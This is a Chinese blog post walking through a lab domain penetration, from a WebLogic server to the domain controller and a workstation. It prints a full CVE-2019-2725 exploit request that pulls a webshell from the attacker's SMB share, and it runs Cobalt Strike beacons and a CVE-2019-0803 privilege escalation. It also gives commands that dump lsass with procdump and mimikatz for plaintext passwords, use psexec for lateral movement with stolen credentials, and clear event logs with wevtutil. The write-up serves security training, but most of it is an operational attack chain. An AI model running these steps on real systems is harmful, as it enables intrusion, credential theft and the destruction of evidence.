记一次简单的域渗透-从Web站点上线不出网内网主机-痕迹清理

一实验环境准备

靶机地址:链接:https://pan.baidu.com/s/1P8WJYuO8VtY6YfqbllD10w?pwd=dsg7
提取码:dsg7

配置信息

DC IP:10.10.10.10 OS:Windows 2012(64) 应用:AD域

web IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64) 应用:Weblogin 10.3.6 MSSQL 2008

PC IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32) 应用:

攻击机 IP:192.168.111.1 OS:Windows 10(64) IP:192.168.111.5 OS:Kali

二通过weblogic入侵web服务器

2.1 信息收集

全端口扫描

┌──(root💀kaliStudying)-[~]
└─# nmap -p- -T5 192.168.111.80 -o web

image-20220326110021880

已知7001端口是weblogic服务,web服务器上安装有360安全卫士,不利于直接打入,尝试寻找weblogic的漏洞

使用WeblogicScan工具扫描目标机器,将工具上传到kali上

解压缩,并进入目录

┌──(root💀kaliStudying)-[~]
└─# unzip WeblogicScan-master.zip
┌──(root💀kaliStudying)-[~]
└─# cd WeblogicScan-master

开始扫描

┌──(root💀kaliStudying)-[~/WeblogicScan-master]
└─# python3 WeblogicScan.py 192.168.111.80 7001

image-20220326111517352

扫描结束,目标存在Java反序列化漏洞:CVE-2019-2725

image-20220326111718130

2.2利用CVE-2019-2725获取目标机shell

上传并安装冰蝎,解压缩重命名Behinder,切换目录

┌──(root??kaliStudying)-[~]
└─# cd Behinder

暂时先不要启动冰蝎,我们可以利用刚才扫描出来的漏洞CVE-2019-2725构造恶意的POC代码将我们的木马程序上传到目标机器上面

启动smbserver共享文件服务,将/root/Behinder/server目录共享出去,共享的名称为share

┌──(root💀kaliStudying)-[~/Behinder]
└─# impacket-smbserver share /root/Behinder/server &

测试web服务器的smb服务是否正常,在web虚拟机上访问:\192.168.111.5\share 查看共享的内容

image-20220326163807935

以下是基于CVE-2019-2725漏洞的POC攻击代码:

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 839

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.111.5\share\shell.jspx.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

在kali中打开bp,将上面的攻击POC代码粘贴到Repeater中进行发包,发送之后会有一个弹窗,设置目标主机端口 image-20220326164845826
再次点击发送,即可将webshell成功上传到目标机上

image-20220326165031434

启动冰蝎,连接上传的1.jsp木马程序

┌──(root💀kaliStudying)-[~]
└─# java -jar /root/Behinder/Behinder_v3.0_Beta6_linux.jar 

image-20220326165311881

右键->新增,连接shell

URL:http://192.168.111.80:7001/_async/1.jsp密码:rebeyond

image-20220326165515570

双击连接1.jsp(如果连接shell获取不到信息可以重新打开)

image-20220326170453460

查看用户信息

C:\Oracle\Middleware\user_projects\domains\base_domain >whoami

image-20220326170630737

查看系统信息,看一下系统安装了哪些补丁。

C:\Oracle\Middleware\user_projects\domains\base_domain > systeminfo

image-20220326170834491

三提权反弹shell给cs

3.1 Cobalt Strike部署

上传Cobalt Strike到kali上,解压缩并进入目录

添加执行权限

┌──(root??kaliStudying)-[~/CobaltStrike4.3]
└─# chmod +x cobaltstrike teamserver start.sh

启动服务端(命令+ip+密码)

┌──(root💀kaliStudying)-[~/CobaltStrike4.3]
└─# ./teamserver 192.168.111.5 123456 &

启动客户端

┌──(root💀kaliStudying)-[~/CobaltStrike4.3]
└─# ./start.sh &

用户名随意填写,cs支持多人协同工作,所有人的密码都是123456

image-20220326172620507
image-20220326172717194

3.2创建监听器

创建监听

image-20220326172949761
image-20220326173023436

image-20220326173117471

生成exe程序

image-20220326173100868

这里不建议使用x64,因为使用32位的程序可以运行在64位的系统上,如果你明确知道对方是x64系统也可以生成64位

image-20220326173258677

将文件保存到冰蝎下的server目录

image-20220326173352516

3.3普通用户提权-反弹SYSTEM权限的shell给cs服务

1、获取普通用户权限

修改刚才使用的POC攻击代码,上传我们生成.exe后门程序,也可以使用冰蝎进行上传(后面使用)

重命名为web.exe

┌──(root💀kaliStudying)-[~/Behinder/server]
└─# mv artifact.exe web.exe 

image-20220326174249967

使用冰蝎,切换到我们上传文件的目录,上传web.exe后门程序

image-20220326175025623

image-20220326174906832

使用cmd命令行终端并切换到上传文件的目录

image-20220326175612374

C:\Oracle\Middleware\user_projects\domains\base_domain>cd 
servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/

运行web.exe

image-20220326175701016

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\
_WL_internal\bea_wls9_async_response\8tpkys\war>web.exe

cs成功上线web服务器

image-20220326175949294

打开会话窗口

image-20220326180141169

设置命令执行周期,默认是60秒,修改为2秒

beacon>sleep 2

image-20220326180059331

2、开始提权

上传相关利用工具到kali

image-20220326200011709

使用cs上传相关利用工具到目标机

beacon>upload /root/CVE-2019-0803.exe
beacon>upload /root/mimidrv.sys
beacon>upload /root/mimikatz.exe
beacon>upload /root/mimilib.dll
beacon>upload /root/procdump64.exe

image-20220326200749646

已知系统没有安装相关漏洞的补丁。所以我们直接利用工具提权即可。

返回SYSTEM权限的shell

beacon> shell CVE-2019-0803.exe cmd "start web.exe"

image-20220327085545381

等程序执行完成就会返回SYSTEM权限的shell,如果没有返回,则尝试重新执行命令,有一定的成功率,下图则会提权成功

image-20220327085653512

四明文读取系统内存中用户凭证

4.1使用procdump64+mimikatz获取用户明文密码

进入SYSTEM权限的会话,并且设置sleep 2

image-20220327085936843

beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20220327090305243

利用mimikatz.exe从lsass.dmp里获取Windows处于active状态账号的明文密码

beacon> shell mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt

使用download命令下载,下载后会保存到程序目录的downloads目录

beacon> download pass.txt

image-20220327090528650

读取下载之后的密码,文件名是随机字符串

┌──(root??kaliStudying)-[~/CobaltStrike4.3]
└─# cd downloads
┌──(root💀kaliStudying)-[~/CobaltStrike4.3/downloads]
└─# ls
4e683782f

查看文件内容,获取域控管理员的明文密码

┌──(root💀kaliStudying)-[~/CobaltStrike4.3/downloads]
└─# cat 4e683782f

image-20220327093042581

4.2域信息收集-找出域控制服务器主机名和IP

查看网络信息找到域控

beacon> shell ipconfig /all

image-20220327093324572

一般情况下,作为DNS服务器的就是域控服务器

查看域控制器

beacon> shell net group "domain controllers" /domain

image-20220327094652315

主机名:DC,完整的主机是:DC.de1ay.com 再确认主机名为DC的IP地址

beacon> shell ping dc

image-20220327094842724

查看域管理员:

beacon> shell net group "domain admins" /domain

image-20220327095014714

五通过有效凭证登录DC反弹dcshell给cs

5.1生成管理账号密码用户凭证-连接域控服务器-反弹域控shell

回到控制目标主机的初始用户账户下

beacon> rev2self

查看当前的权限:

beacon> getuid

image-20220327095451103

通过前面获取到的DC的DE1AY\adminstrator账户信息,生成新的凭证

beacon> make_token DE1AY\administrator 1qaz@WSX

image-20220327095657441

创建新的监听

image-20220327095729999

image-20220327095803461

DC上线,jump会使用前面的凭证和smb监听器,完成登录DC的过程

beacon> jump psexec DC smb

image-20220327100034300

image-20220327100100684

成功拿到域控,我们可以为所欲为了!

六拿到PC主机shell

扫描内网的其他存活主机

image-20220327100821811

选择10.10.10.0网络,把ports清空,使用arp协议对该网段进行扫描,探测存活主机

image-20220327100937811

发现一台新的主机存活

image-20220327101053615

选择拥有 system 权限的会话,这个会话之前已经完成以下两步骤:

域控制器用户 DE1AY\administrator 的凭证

beacon> make_token DE1AY\administrator 1qaz@WSX

还有 smb 监听器

DC 上线,jump 会使用前面的凭证和 smb 监听器,完成登录 DC 的过程

beacon> jump psexec DC smb

选择横向移动到另一台机器

beacon> jump psexec 10.10.10.201 smb

image-20220327104146824

痕迹清除-日志清除

beacon> wevtutil el             列出系统中所有日志名称
beacon> wevtutil cl system      清理系统日志
beacon> wevtutil cl application 清理应用程序日志
beacon> wevtutil cl security    清理安全日志

分别在刚才访问过的机子上进行日志清除

image-20220327111210874
查看日志是否清除

image-20220327111314152
image-20220327111328367
image-20220327111420739

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值